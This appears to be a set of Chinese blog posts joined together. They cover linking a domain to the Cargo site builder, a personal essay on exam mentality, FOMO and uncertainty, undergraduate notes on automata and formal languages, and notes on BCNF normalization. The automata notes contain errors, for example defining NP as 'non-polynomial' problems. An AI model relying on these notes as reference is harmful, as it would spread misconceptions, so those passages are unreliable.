简单说来，刚刚只是购买了一个域名，我们拥有了决定这个域名应该解析到哪台服务器的权力。接下来还要继续将域名绑定到 Cargo 上，这样当浏览器访问这个域名时候才能通过 DNS 解析服务器来跳转到 Cargo 上。总结起来需要做的事情是先在 Cargo 上的网站设选择 Connect to an existing domain name，输入你的网站。比如 yourname.com，或者你也可以使用子域名，如 portfolio.yourname.com。

假定你已经在 Dynadot 上购买好了域名，接着可以进入域名的管理后台，修改域名的 DNS 配置：

输入 cargo 提供的 DNS：

ns1.cargocollective.com
ns2.cargocollective.com

稍等几分钟回到 cargo 来验证一下即可。更详细的过程见 https://support.cargo.site/Using-a-Third-Party-Domain

另一种方法，是使用 cargo 内置的域名购买网站，可以更加方便地完成域名购买和绑定：

在 Buy a domain 直接搜索你想要的域名，如果没有被购买，付款之后就 OK 了。不过相比上面在 Dynadot 购买，这个地方会贵得多，比如同样的 com 域名 Cargo 会是 14 刀一年，而 dynadot 大概是这个的一半。

References

• https://support.cargo.site/Using-a-Third-Party-Domain
• https://support.cargo.site/

生活不是考试，没有标准答案

或许是过去的应试教育让我们习惯于为自己设立一个可以量化的目标，阶段性地为这个目标付出努力，然后从目标的实现取得成就感。至少在高考之前，我们都过着这样的生活，一个学期就是这样的一个周期，无论在周期的过程中做了什么事情，始终有一条主线规划周期内这几个月的节奏。会有月考，期中考，期末考，在考试前更加认真，在考试后偶尔放纵。努力很容易得到反馈，对自己的规划也有一条十分明晰的主线，于是生活节奏有条不紊。

对于大多数能够到一个好大学就读的学生而言，考试能力一定不会太差，不仅擅长从这种周期性的工作中寻找技巧，还往往很享受在考试中取得好成绩的快感。然而已经到了本科的高年级，生活早已没有被周期划分开来，考试也完全不再是某一个阶段的生活的评价标准。遗憾的是，很多人仍然把生活当成考试，用应试的方式延续着过去那种周期性的生活状态。学习的目的是解决问题，而如果奖状、比赛名次和论文数量变成了学习的唯一动力，那我更愿意把这种为了别人的赞许和反馈的努力方式称为自我感动。因为生活不是考试，生活不会给自己发奖状。生活也没有标准答案，所以我们也没有必要像考试一样为自己的生活打上分数，评个高下，甚至沾沾自喜。

多年的努力应试给成绩还不错的学生留下了一股认真劲，这是最大的优点也是最可怕的缺点。用力得当，可以认识到自己喜欢做与擅长做的事情，然后在这些方向上发挥出认真的力量。但如果用力过猛，便会把精力浪费在一些没必要去做的事情上。一些没必要太认真学的课，一些没必要去争夺的奖，一些其实自己完全不感兴趣的事务。一般来讲，不感兴趣的事情是做不长久的，但有着这认真劲的人却可以忍受着自己的抗拒情绪去一直做这些事情，从而一直处在压抑的状态，走不出来。这很可怕，我身边就有不少这样的例子。

所以我觉得比较好的状态是不要像备战考试一样把生活划分成一个个科目，一个个单元，并抱有「做了 A 就一定能能收获 B」的心态去做决定。而是从问题出发，思考我的生活现在有什么需要解决的问题？我应该做些什么有助于解决这些问题？我现在做的事情有助于解决问题吗？以及最重要的，自己有没有真正的进步。这样一想，也许会发现很多忙碌都没有必要。

或许当事人并没有故意把自己的决策当做一场考试，但十多年的应试经验还是会悄悄地左右着自己。我们都应试过，也都虚荣过，在这里稍带一提，也当是警醒自己做事时一定不要单纯为了来自外界的正向反馈而努力。

不要得上了 FOMO

FOMO（Fear of Missing Out）在维基百科里的翻译是错失恐惧症，也称社群恐慌症。指「一种由患得患失所产生持续性的焦虑，得上这种症的人总会感到别人在自己不在时经历了什么非常有意义的事情」。在我的印象中，有着 FOMO 的朋友并不算少数，自己在很多时候也会陷入 FOMO 的困扰。

关于这一点，我觉得可以从反过来的角度思考：如果大家都在做一件我没有在做的事情，那这件事真的合理吗？其实可以走的路常常比我们想象的要多，我们也不一定要去做那些所有人都要做的事情，因为那些太多人做的事情往往都被打上了内卷的标签，多一个人趋之若鹜，并不会让这写路变得更明朗。同样，跟着自己的措施恐惧症走大多数时候并不能够发挥自己的优势 —— 除非这些路刚好碰上了自己的长处，但这种情况的确少见。

另一个方面，关于我们的信息来源，我们应当有自己的获取信息的途径与渠道。FOMO 很多时候来自社交媒体，无论是自己的朋友还是在公开网络上关注的网友。我们现在最不缺少的东西也许就是信息了，但大多数信息对我们而言并没有实质上的帮助，只是占据掉了我们思考的精力和宝贵的时间。有目的地查找信息、筛选信息的能力在推荐系统占据了所有平台之时显得尤其重要。因为推荐系统的所有目的都是为了让用户的眼睛能够多停留在这个平台上一些，从而见缝插针地植入更多的广告，而不是提供真正正确、有效、有价值的信息。这就导致他们会想法设法地引起用户的 FOMO，我们要躲开这种陷阱，避免被动地接受信息。

我们并不需要知道每一个人在干什么，或者说我们并不需要把太多的时间花在观察别人的生活当中。延伸出来的，我觉得我们也不用把太多时间花在修饰展示生活的每一个细节。这真的很花时间，而且于自己于他人的确没有太大益处，这可能是在用别人的 FOMO 来缓解自己的 FOMO。

放弃确定性，拥抱不确定

生活总是充满不确定性的。我们要放弃确定的执着追求，去允许自己的生活出现许多随机扰动。在当下，我们都会选择看起来最靠谱的餐厅，选择看起来最有意思的旅行目的地，选择看起来最有价值的课程，选择看起来最好的工作。我们很难说服当下的自己去做出那个次好的选择，以前如此，现在还是如此。这样做决策的问题在于很多决定在当下没有那个必然最优的选项，如果我们总是想要去决定哪种做法才是各个方面上看都是最优的决策，往往会陷入犹豫与迷茫的深渊。自己喜欢的，很可能是和社会的期待相冲突的。物质上富足的，很可能是在精神上贫瘠的。即便是同时满足了大多数方面的「最优」，如果我们思考地足够细致，也总能找到这个决策的各种缺陷。回首过去做出的决定，那些用贪心做出的决定，我们真的能说，那就是最好的决策吗？

至少对我而言，未必。但也正是这些决策构成了此时此刻的自己，现在的生活不算完美，也没有太糟糕。机器学习中的随机波动往往会取得更好的预测效果，生活中的不确定性或许也能产出不一样的日常。那些印象深刻的日子，往往都是意料之外的。而在我们的期望范围之外，往往也有着更加有趣的生活。我在尝试让自己接受没有最好的决定的事实，也在尝试让自己在面对各种各样的不确定时能更加坦然 —— 既然没有最优解，也无法预知未来，那么只要决策看起来是大体是靠谱的，那也便义无反顾了。

放弃确定性，去容忍自己在没有思考得足够细致的情况下，拥抱不确定性。生活像是在雾中前行，踏出去了才知道下一步是怎样。如果一直因为不确定而持续摇摆不定，很可能会错失掉机会，或者在机会到来时，由于将精力耗在了决策上，而使得此刻的自己没有做好迎接机会的准备。

自洽

这是关于焦虑的又一个来源，也就是贪婪。和朋友聊天时，我常常问他们这样一个问题：有两个年轻人，A 在一线城市长大，接受了顶级的教育，读者世界 top10 的大学。多年的留学经历让他有着闪着光的学历和工作经历。 B 可能会被调侃成所谓的小镇做题家，考了个还行的大学，读了个还行的专业，没有什么过人的天赋，后来成绩平平，找了个普通的工作，或者读了个普普通通的硕博。你会想要哪种人生？

几乎没有悬念的，A 光彩照人的生活会是大多数人的选择。然而如果给他们再加上一个限定条件，A 确诊了骨癌，他只有几个月生命了；而 B 很健康，他看起来至少还有六七十年的时光。你会选择哪一个？

人难免会忽视掉自己拥有的所有，然后去追寻更大更远的未来。但如果你正在读这篇文章，其实你可能早已经拥有了许多因为和你不在一个社交圈，早已被排除在了你的社交圈之外的人十分渴求的生活状态了。他们和你可能早在小升初的那一刻就分道扬镳，甚至在出生的那一刻就决定了。 —— 当然同样的，你也会无法拥有许多另一批人早已拥有的世界。对于我们这一代人而言，我们自然会从自我价值实现、收入、理想生活的状态等种种角度去做选择，绝不会满足于基本的生理需求，然而在这片大陆上，几十年之前还蔓延着饥荒。从这种角度看，我们的焦虑未尝不是一种贪婪。当然这很自然，正是贪婪促进我们进步。但是看不见自己拥有的东西，只关注与自己暂时无法达到的目标，会陷入自责之中，而错过让自己接近目标的成长的时间。

开完笑地说，一本叫做《及格家宣言》的书里提到：

亚里士多德曾经说过，受过教育的人的标志就是他不会在一件事上追求超出这件事所能达到的准确度。平庸的意思不是什么都不干，而是在正确的时间、正确的地点做正确的努力。

这本短小精悍的书开玩笑般地点出了被焦虑环绕的人总是无法和自己自洽的许多原因。这句玩笑或许就是自洽的哲学 —— 学不会满足，便也学不会奋斗。「在正确的时间、正确的地点做正确的努力」，和过去的自己自洽，和自己的能力自洽。

最近在杭州的天目里看到了这样一段话，感觉写的很棒：

我们都曾以为理想的生活应该在别处，拖着被掏空的身体还要无休止地奔忙。但其实生活是否美好，或许只在于偶尔放空自己，与两点一线的城市生活大胆说声再见，去奔赴一场野蛮又浩荡的自由之旅。看看花，看看树，看看水，看看山，看看春天，然后你就会发现有些东西没有那么重要。

「未经思考的人生是不值得过的」，但一直在思考的人生同样不值得过。我们不应一直在痛苦和犹豫中前进，因为害怕走错而在紧张中度过每一天。有时候也应当容忍自己在没有彻底想清楚之前先走一步，不惧失败，脚踏实地，体验成功与失败，享受不仅是前进 —— 还有跌落的快感。

附录

Hawstein - 人生不可 DP，但别永远贪心

生死之余，不过小事

给大学的同学们-关于选择与体验，人生目标与梦想

许知远 - 《那些忧伤的年轻人》

这一系列（共 4 部分）为整理后的形式化语言与自动机的本科课程笔记，可作为知识提纲。

目录

• I：概念，推理与文法
  • 谓词逻辑与集合关系
  • 字母表、图与语言
  • 逻辑语言与演绎推理
  • 文法
    • 概念
    • 文法分类的乔姆斯基体系
• II: 有穷自动机与正则语言
  • 有穷自动机 Finite Automation
    • 定义
    • Instant Description 瞬时描述
    • 确定有穷状态自动机 Deterministic Finite Automaton, DFA
    • 非确定有穷状态自动机 Nondeterministic Finite Automaton, NFA
    • 空迁移
  • 正则语言 / 表达式
    • ⭐️ 正则语言的证明：泵引理 Pumping Lemma
    • 正则语言的封闭性
  • 自动机的转换
    • NFA -> DFA 及等价性
    • FA -> RE 的转换
    • RE -> FA
• III: 上下文无关文法与下推自动机
  • 上下文无关文法 CFG
    • 派生方式与二义性
    • CFG 的化简
    • 范式
    • CFL 的泵引理
  • 下推自动机 Push Down Automaton PDA
    • PDA 即时描述 Instantaneous Description
    • PDA 接受的语言
  • CFG 与 PDA 的等价性
• IV: 图灵机与可计算型
  • 图灵机 Turing Machine
    • TM 即时描述 Instantaneous Description
    • TM 作为非负整函数的计算模型
    • 构造方式
    • TM 拓展及变型
  • 可计算性 Computability
    • NP 与 P

I：概念，推理与文法

核心问题：哪些问题可以通过计算解决（可计算型理论）

自动机理论：研究抽象机器所能解决问题的理论（图灵机：核心理论模型；以及有限状态机、文法、下推自动机等）

谓词逻辑与集合关系

• „n 元关系是定义在某域上的一组 n 元组的集合

• „集合 A 和 B 的二元关系 R 是 A×B 的子集；二元关系可写作 xRy

• „dom (R) 和 ran (R) 分别表示关系 R 的定义域和值域

• 对于 $R \subseteq S\times S$ 几种特殊的关系：
  • 偏序关系：自反，反对称，传递 Eg. 自然数集合 N 和小于等于关系≤构成的偏序集
  • 等价关系：自反，对称，传递 -> 等价类：由等价关系确定的一组集合，每个集合中的任意元素都相互等价
    • „等价关系的秩：等价类的个数

字母表、图与语言

• 字母表是语言中出现的原子符号，通常用 Σ 表示
• 字符串是字母表中元素的序列，长度必须为有限的，长度、连接等操作在定义上都为递归
  • 长度：递归定义 $|w| = 0, w = \varepsilon; |x| + 1, w = xa$
• „字符串运算：„联结运算 abc.def、„重复运算 (abc)*
  • 和集合有关的运算：$A \cdot B = {w | w = x \cdot y, x\in A, y \in B}$
    • 若 $\Sigma$ 为字母表，则 $\Sigma^n$ 为长度为 n 的字符串集合
  • 正闭包、克林闭包
• „语言：一系列特殊字符串的集合：„L⊆Σ^∗
• 图：系统描述方式
  • „标签集合 D，标签函数 L:S∪T→D
  • „带标签的图可以表示为一个 4 元组 (S,T,D,L)
  • 树是一种特殊的有向无环图
• 迁移系统：$TS = (s, \Sigma,\rightarrow,S_0)$
• 给定字符串是否属于某个具体语言 L？ 任何问题都可以转换成语言问题 $w \in L?$
  • （可判定问题与不可判定问题）

逻辑语言与演绎推理

• 证明：演绎法、归纳法与反证法

• 命题逻辑

  • „一种可以判定真或假的命题描述语言
  • 由原子命题和连接算子构成

• 谓词逻辑：比命题逻辑描述能力更强的逻辑语言，增加了变量取值

  • 组成：Variable, Functions & (Predicate symbols, equality, logical connectives, quantifiers)
  • 公式 $\phi$ 在一个给定的结构 M 和赋值 $\phi$ 下成立，记为$M, \sigma \vDash \phi$ 或 $\vDash^M_\sigma\phi$
  • 在给定结构 M 下每个赋值成立，记为$M\vDash\phi$或$\vDash^M = \phi$
  • 任意赋值成立：$\vDash\phi$

• 演绎推理

  • „从一个集合的前提条件推导出一个结论的过程
  • 运用 Modus penens，矛盾，传递
  • 一些证明规则：
  • 
  • 证明过程：对于$\frac{A}{C}$，若要证明 C 只需证明 A，A 与 C 是相继式（$H\vdash G$，H 前件，G 后件）
  • 一个证明的例子：
  • 

文法

概念

• 包含： V (ariables) T (erminal symbols) P (roductions /rules) S (tart symbols)

  • V: 非终止符号，满足 $V \cap T = \emptyset$
  • S: 起始符号，满足 $S \in V$

• 文法的推导：Let G=(V,T,P,S)$$，. 有$α→β∈P, γ,δ∈(V∪T)^∗$, 则称 $𝛾𝛼𝛿⇒_𝐺 𝛾𝛽𝛿$

  • 上述过程 = $𝛾𝛼𝛿$规约成$𝛾𝛽𝛿$
  • 最左 & 最右，依据替换次序的不同，一个语句可以有多种推导

• 文法的语言： $L(G) = {w | w\in T^*, S \Rightarrow^*_G w}$

• 符号上的描述： + 和 * 作为幂时表示长度为 1 以上 或 0 以上的表达式，如$T^*, T^+$ 等

• 定义：等价文法：如果$L(G_1) = L(G_2)$ ，则等价

文法分类的乔姆斯基体系

$3 RG \subset 2 CFG \subset 1 CSG\subset 0 PSG$

0 型文法

由文法结构定义的文法，又称为递归可枚举文法、短语结构语言、递归可枚举集等

Phrase structure grammer, aka PSG

1 型文法

满足：$\forall \alpha \rightarrow \beta \in P, |\beta| \ge |\alpha|$

又称上下文有关文法 Context sensitive grammar aka CSG

2 型文法

满足：$\forall \alpha \rightarrow \beta \in P, |\beta| \ge |\alpha|$ 且 $\alpha \in V$

又称上下文无关文法 Context free grammar, aka CFG

例如：T = {a, b}, $S \rightarrow ASB | \varepsilon, A \rightarrow aa, B \rightarrow b$

3 型文法

满足：$\forall \alpha \rightarrow \beta \in P$ 具备形式：

$A \rightarrow w$ 或 $A \rightarrow wB$，其中 $A,B\in V, w\in T^+$

又称正则文法 / 正规文法 Regular grammar, aka RG

定义上讲，空语句 $\varepsilon$ 在 1 - 3 型文法中都是不允许的，但因为其不影响语言的有穷描述的存在，所以允许 $\varepsilon$ 存在，但其除了用于产生空语句以外不可用于其他任何句子的推导之中。

II: 有穷自动机与正则语言

有穷自动机 Finite Automation

动机：语言的识别：

• 为了证明 $w \subset L$，需推导 G，或规约 w，缺乏目的性和方向性
• 设计一套系统，提高识别效率，简介抽象、直观描述

定义

五元组：$M = (Q, \Sigma, \delta, q_0, F)$

• Q 非空集合；$\Sigma$ 输入字母表， $\delta$ 状态转移函数， $q_0$ 开始状态，$F$ 终止 / 接收状态

• $\delta(q,a) = p$ 表示在 q 状态下读入 a 转移到 p。

FA 的表达方式：函数或转换表（更直观）

字符串集合：$set(q) = {x | x \in \Sigma^*, \delta(q_0, x) = q}$

Instant Description 瞬时描述

表示自动机识别一个输入串的过程。形式：$xqy$，x 为已处理的字符，y 为未处理的字符

有：$xqay \vdash_M xapy$，，其中 $\vdash_m$与文法中的转换 $\Rightarrow$ 有类似的表达方式（+: 至少一次，*: 若干次，n: n 次 等）

• 如 $\alpha \vdash_M^n \beta$ 表示 M 经过 n 次移动。从状态 $\alpha$ 转换成了状态 $\beta$。

确定有穷状态自动机 Deterministic Finite Automaton, DFA

对于任意 $q \in Q, a \in Sigma, \delta(q,a) 均有确定值$

关于 $\hat{\delta}$ 与 $\delta$：前者为后者的扩充，有$\hat{\delta}: Q \times \Sigma^* \rightarrow Q$，用于识别语言

注意到后者定义域 $Q\times \Sigma$ 为前者定义域 $Q \times \Sigma ^*$ 的真子集，所以二者如果有相同的值，不用区别符号，故常用$\delta$ 代替 $\hat{\delta}$。

非确定有穷状态自动机 Nondeterministic Finite Automaton, NFA

定义类似 DFA 的五元组：$M = (Q, \Sigma, \delta, q_0, F)$

其中 $\delta$ 允许选择多个状态。即 $\forall (q,a) \in Q \times \Sigma, \delta(q,a) = \{p_1, p_2, \dots, p_m\}$

FA 的 ID 与描述方式对 DFA 同样有效

空迁移

定义五元组：$M = (Q, \Sigma, \delta, q_0, F)$

在 NFA 的基础上，进一步允许 $delta$ 满足：$\forall(q,a) \in Q \times \Sigma, \delta(q,a) = {p_0, p_1, \dots,p_m}, \delta(q,\varepsilon) = {p_0, p_1, \dots,p_m}$。

即允许 M 在状态 q 下不输入任何字符而选择改变状态，做空移动，称为 $\varepsilon-NFA$。

空迁移 NFA 同样和 NFA 具有等价性。

注意在 $\varepsilon$-NFA 中，$\delta$ 与 $\hat{\delta}$ 不等价，需要根据上下文区分。

正则语言 / 表达式

正则表达式 Regular Expression - 使用适当的约定用更简洁的方式来表达文法 FA 所表达的语言

FA 是正则语言的识别器（有限自动机和正则表达式等价）

定义：$\emptyset 和 \varepsilon$ 是正则表达式，表示语言 $\emptyset 和 \varepsilon$

若$\forall a \in \Sigma$ 是正则表达式，表示语言 {a}；

若 r 和 s 是 RE，则 $r + s, r\cdot s$ 是正则表达式，$r^*$ 是正则表达式。

• 正则语言 L (RE)：有$L(r_1 + r_2) = L (r_2) \cup L (r_2)$

⭐️ 正则语言的证明：泵引理 Pumping Lemma

• 泵引理：L 为一个正则语言，则存在一个常数 N，使得 $\forall z \in L,$若 $|z| \ge N$，能把 z 分为三个部分 xyz 满足有：$y \ne \varepsilon, |xy| \le N, \forall k \ge 0, xy^kz \in L$。

利用反证法可以证明 L 不为正则语言。(找到恰当的拆分，并得到一个反例即可)

泵引理只是一个 RG 的必要条件，不可用于证明一个而语言是 RG。

Eg.

Myhill-Nerode Theorem 迈希尔尼罗德定理：L 是正则语言，当且仅当 RL 有有限的等价类。

是一个证明语言是正则语言的必要充分条件。

正则语言的封闭性

• RL 对于并、乘积、闭包运算封闭
• RL 对于补、交运算封闭

自动机的转换

通常的转换顺序： RE -> $\varepsilon$-NFA -> NFA -> DFA

NFA -> DFA 及等价性

如果能用 NFA 来表示的语言，同样可以使用 DFA 来表示：

接下来移除不可到达的状态集合得到：

FA -> RE 的转换

• 使用状态消去 State Elimination:
• 
• 状态消去的方法：
• 

RE -> FA

• Eg.

III: 上下文无关文法与下推自动机

上下文无关文法 CFG

Context Free Grammar CFG 需满足：$\forall \alpha \rightarrow \beta \in P$，均有 $\alpha \in V$ 成立（即左侧不可以含有终止字符，但右侧可以含多个 symbols，而不是正则语言中的右侧只允许一个）。

一些概念：

• 定义：生成树 / 派生树 parse tree：aka 分析树，语法树
• 对于字符串的另一种表达方式
  • 

上下文无关语言在并、乘积、闭包下是封闭的，在交、补运算下不封闭。 CFL 与 RL 的交是 CFL。

派生方式与二义性

• 极左派生 Leftmost Derivations $\Rightarrow_{lm}$，在 $\alpha$ 派生过程中每一步都对最左变量进行替换（类似地有极右派生 Rightmost derivations），对应的规约有极左 / 右规约。

  • 最右派生 aka 规范派生 Normal Derivation，规范派生产生的句型为规范句型 Normal Sentencial Form

• 二义性 Ambiguous Grammar：至少具两棵不同的派生树

• == 判定 CFG 是否为 Ambiguous 是一个不可解问题==。

• 解决二义性的方法：增加优先级、增加标志等等

• 固有二义性 Inherent Ambiguity （并非所有语言都具备非二义性文法）

  • 形如 $L = \{0^n1^n2^m3^m\}$ 的语言具备不同的派生树，具有固有的二义性，例如：
  • 

CFG 的化简

1. 消除无用符号：

   有用符号：X 有效，当存在转移 $S \Rightarrow^* \alpha X\beta \Rightarrow^* w$

   有用符号应当是可生成且可达的，非可达、非可生成的符号都需要被消去

   • Generating: $X⇒^∗ w$ for some $w∈T^∗$
   • Reachable: $S⇒^∗ αXβ$ for some $\{α,β\}⊆(V∪T)^∗$

   Eg.

   

2. 消除空转移

   Nullable：A 是可空的当 $A \Rightarrow^* \varepsilon$

   计算 nullables：先令 $n(G) = \{A | A \rightarrow \varepsilon \in P\}$，递归向上规约得到所有 $n(G)$

   接下来做替换：若 A nullable，则 $A \rightarrow BAD$ 被替换成 $A \rightarrow BAD | BD$，最后消去所有 $A \rightarrow \varepsilon$

3. 消除单位转移 Unit Production (形如 $A \rightarrow B$)

   先令 $n(G) = \{(A,A)|A\in V\}$，如果 $(A,B)\in G$ 且 $B\rightarrow C \in P$ 则将 (A, C) 添加至 G

   接下来遍历 n (G)，每一对 (A, B) 如果：$B\rightarrow \alpha$ 不是一个单位转移，则添加 $A \rightarrow \alpha$ 添加至$P_1$

范式

乔姆斯基范式 Chomsky Normal Form CNF

如果 CFG $G = (V, T, P, S)$ 中的所有产生式都有形式：

$A \rightarrow BC$ ，$A \rightarrow a$，则为 CNF。

乔姆斯基范式中不允许存在 $\varepsilon$ 产生式、单一产生式，也不希望含有无用符号。

• CFL 转换为 CNF：处理所有推导结果长于 2 的，把 a 替换成新的 A，再增加 $A\rightarrow -a$
  • 把所有长于 3 的级联分解成两个变量的转移，图示：
  • 

格雷巴赫范式 Greibach Normal Form GNF

如果 CFG $G = (V, T, P, S)$ 中的所有产生式都有形式 $A \rightarrow a\alpha$，则为 GNF。

注意到右线性文法是一种特殊的 GNF。

CFL 的泵引理

类似正则语言的泵引理定义如下：

• 对于 CFL，存在一个 N 若 $|z| \gt n$ 则改写 $z = uvwxy$ 满足：
  • $|vwx| \le N; |vx| > 0$
  • 即有$\forall i \ge 0, uv^iwx^iy \in L$

例如，证明 $L = \{0^m1^m2^m | m \ge 1\}$ 不是 CFL：

下推自动机 Push Down Automaton PDA

PDA 与 CFG - 二型文法等价

定义：一个七元组 $M = (Q, \Sigma, \Gamma, \delta, q_0, Z_0, F)$：

• Q 状态集合；$\Sigma$ 输入字母表； $\Gamma$ 栈符号表；$Z_0$ 开始符号（栈底符号）$q_0$ 开始状态；$F$ 终止状态； $\delta$ 转移函数 ，形如：$\delta(q,a,Z) = \{(p_1, \gamma_1), (p_2, \gamma_2)...\}$ 为一次非空移动

  • 形如：$\delta(q,\varepsilon,Z) = \{(p_1, \gamma_1), (p_2, \gamma_2)...\}$ 为一次空移动，此情况下无论输入内容是什么，都可以选择直接将状态变为 $p_n$。

• 一个例子：构造 $L_{wwr} = \{ww^R | w\in \{0,1\}^*\}$，其中 R 为倒序：

  • PDA 在图形中表示如下，右侧表示栈 Z 在状态转移之前与之后的情况，栈顶位于左侧，栈底位于右侧：$Z_0$ 表示空栈
  • 

• 确定下推自动机 DPDA：$\delta(q,a,X)$ 在 a 是 $\varepsilon$ 时总是空，且 $\delta(q,a,X)$ 非空则 $\delta(q,\varepsilon,X)$ 非空。

  • Regular language $\subset$ L(DPDA) $\subset$ Context-Free language

PDA 即时描述 Instantaneous Description

• 即时描述：$\forall (q,w,\gamma)\in (Q, \Sigma^*, \Gamma^\*)$ 成为 M 的一个即时描述
• 一个非空移动的表示： $(q, aw, Z\beta) \vdash _M (p, w,\gamma\beta)$，其中 aw 为即将读入的字符串，M 之前位于状态 q，栈顶为 Z，进入状态 p 后 Z 被 $\gamma$ 替换。
• 同样有 $(\vdash_M)^*, (\vdash_M)\^+,(\vdash_M)^n$ 的表达方式以表示特定次数的移动。

可使用 ID 描述上述 $L_{wwr}$ 如下：（）

PDA 接受的语言

• 以终止状态接受：$L(P)={w ┤| (q_0,w,Z_0 ) ⊢^∗ (q,ϵ,α)∧q∈F}$
• 以空栈接受：$N(P)={w ┤| (q_0,w,Z_0 ) ⊢^∗ (q,ϵ,ϵ)}$

定理：两种接收方式是等价的。

CFG 与 PDA 的等价性

L 是 CFG 当且仅当能被一个 PDA 接受。（两种接收方式）

CFG -> PDA

模拟一个 CFG 的极左派生 $\Rightarrow^*_{lm}$：

1. $xA\alpha\Rightarrow_{lm}x\beta\alpha$ 对应一个 PDA 的操作，在栈 Z 中压入非终止字符，在栈上有终止字符时便弹出

2. 此时可能会有非法的指令（在栈中一字符（包括 $\varepsilon$ 只能由一个字符替换）），可以进行指令分解

   

   分解 $\varepsilon, S \rightarrow aTb$ 之后自动机如图所示：

   

   以此类推进行指令分解。

PDA -> CFG

暂且省略。

IV: 图灵机与可计算型

图灵机 Turing Machine

TM：人们所接受的算法的形式化描述。与 TM 具有同样计算能力的还有 $\lambda$ 演算、递归函数、波斯特系统等。

定义：七元组 $M = (Q, \Sigma, \Gamma, \delta, q_0, B, F)$：

• Q 状态的有穷集合；$\Sigma$ 输入字母表；$\Gamma$ 带符号表（运行过程中的符号）；$q_0$ M 的开始状态；F 终止状态；B 空白符（基本图灵机的概念）；$\delta$ 转换函数，形如 $\delta(q, X) = (p, Y, R或L)$，表示在状态 q 读入符号 X，将状态更新为 p，并在 X 所在的方格中印刷符号 Y，接着向右 / 左移动一格。

如：

初始状态下，输入字符串依次放在条带上，指针注释第一个元素，状态为 $q_0$。

TM 定义的语言为递归可枚举语言，即 0 型文法。

TM 即时描述 Instantaneous Description

TM 的即时描述为字符串 $X_1X_2…X_{i-1}qX_iX_{I+1}…X_n$。

• q：目前状态；磁带指向第 i 个符号
• 其余符号表示最左侧的空白到最右侧的空白之间的所有字符
• 同样有 $(\vdash_M)^*, (\vdash_M)^+,(\vdash_M)^n$ 的表达方式以表示特定次数的移动

TM 作为非负整函数的计算模型

对非负整数编码后图灵机具有计算能力。

例如计算 n+m 的图灵机可以将字符串编码为 $\{0^m10^n\}$，利用图灵机扫描，修改 1 的位置即可。

构造方式

Multiple Tracks 多轨

计算能力和单轨相同，可以将存储的值复合为 {X,Y,Z} 即变成单带。

Subroutine 子图

TM 拓展及变型

Multi-tape Turing machine 多带处理器

本质上也和基本图灵机等价。

Non-deterministic TM 非确定图灵机

对于每一个转移函数 $\delta$，非确定图灵机具有一系列转移结果 $\{(q_1,Y_1,D_1 ),…(q_k,Y_k,D_k)\}$

只要有一条路径到达最终状态即可接收。

可计算性 Computability

（仅作了解）

可计算型的问题：对于问题给出是与否的判定。

• 如果一个问题的语言是递归的，则可判定 Decidable
• 如果一个问题的语言不可递归，则不可判定 Undecidable

Example:

上述程序查找 $x^n+y^n=z^n$ 的 x, y, z 整数元组，查找到则输出 hello, world。该问题 Undecidable。

• Non-RE language 非递归可枚举语言（一个不能递归枚举字符串中的所有语言）
• 递归可枚举语言：可以用类似穷举的算法在有限时间内判定一个元素属于该集合
• 停机问题 Halting Problem: 不存在一个算法，能够判断任意图灵机在任意字符串上否停机。
• 图灵机编码：
  • 用二进制字符串枚举所有可能的字符串（Eg 5337 - 010011011001)
  • 
  • 接下来对$\delta$ 编码如下：
    • 对任意 $\delta(q_i, X_j) = (q_k,X_l,D_m)$ 构造字符串 transition = $0^i10^j10^k10^l10^m$，整个图灵机的构造则为 $C_111C_211…C_{n-1}11C_n$，其中 $C_i$ 为 transition。

NP 与 P

• P 问题：可以在多项式时间内求解的判定问题 Polynomial Problem
• NP 问题：Non-Polynomial 不可以在多项式时间内解决的问题
• NPC 问题：Non-Polynomial Complete NP 中的某些问题的复杂性与整个类的复杂性相关联。这些问题中任何一个如果存在多项式时间的算法，那么所有 NP 问题都是多项式时间可解的。这些问题被称为 NP - 完全问题 (NPC 问题)。

The End

目录

• 函数依赖 Functional Depencendy
• Boyce-Codd 范式 BCNF
• 属性闭包 Attribute Closure 与正则覆盖 Cononical Coverage
• BCNF 的分解

函数依赖 Functional Depencendy

可以理解为属性 R 中的一个元组 t1 （这个元组需要是这个关系的 super key，即能够标识整个属性集合）决定了另一系列元组 t2 的值。例如部门决定了预算，则有函数依赖 $dept \rightarrow budget$。

函数依赖分为平凡函数依赖和非平凡函数依赖。函数依赖 $X \rightarrow Y$ 中，若 Y 为 X 的子集，则为平凡函数依赖。直观的字面理解就是这种依赖非常的 “普通”，在所有关系中都满足。例如任何属性都能决定自身，函数依赖 $A \rightarrow A$ 恒成立。若 Y 不为 X 的子集，则为非平凡函数依赖。通常我们讨论的是非平凡函数依赖。

完全函数依赖指的是 $X \rightarrow Y$ 中，X 已经包含了最少的属性。再减少任何一个属性都会破坏函数依赖。例如预算可以完全依赖于部门和年份，这就是一个完全依赖。

而部分函数依赖指的是在 $X \rightarrow Y$ 仍然存在 X 的子集 X' 满足 $X' \rightarrow Y$，例如 $dept\_id, dept\_name \rightarrow budget$ 中，左侧仅依赖 dept_id 就可以决定预算的值，那么这就是一个部分函数依赖，预算部分依赖于部门 ID 和部门名字。

还有一个传递函数依赖的概念，如果 $X \rightarrow Y$，$Y \rightarrow Z$，则 $X \rightarrow Z$ 成立。这就是一个传递函数依赖。如员工 -> 部门 ID，部门 ID -> 预算，那么员工 -> 部门预算就是一个传递函数依赖。

通常使用 F 来表示关系 R 中的所有函数依赖，F⁺ 来表示由 F 推断出的所有依赖（运用 Armstrong 定理）。

Boyce-Codd 范式 BCNF

BCNF 消除了所有基于函数依赖能够发现的冗余，在 BCNF 范式中，对与所有函数依赖 $X \rightarrow Y$， 要么 X 是 R 的一个 super key，如果不是的话那么这个依赖必须是平凡依赖。

教材中不是 BCNF 的一个例子:

inst_dept (ID, name, salary, dept_name, building, budget)

这里存在非平凡函数依赖 dept_name -> budget。但是 dept_name 显然不是这个关系的一个 super key，因为光从部门名称不能标识一个教师的所有信息。这于是就违背了 BCNF 的条件。直观来讲，满足 BCNF 的关系中的所有这种依赖关系，都应当是由 super key 来推断出来的，除了 super key 的推断关系以外，不能再有其他的推断关系。

其实在设计数据库的时候 BCNF 的使用非常直观。比如我们有两个实体：学生和学院，每个学生属于一个学院。在设计数据库的时候，我们一定会把学生及其信息放在一个表中，学院及其信息放在另一个表中，然后在学生表中添加一个外键属性来关联学生和学院之间的关系。相反，我们肯定不会只用一个巨大的 data 表来同时存储学生和学院，让这个表中的每一行都冗余地存储学生的信息和其学院的信息。这种奢侈而愚蠢的的冗余就违背了 BCNF。

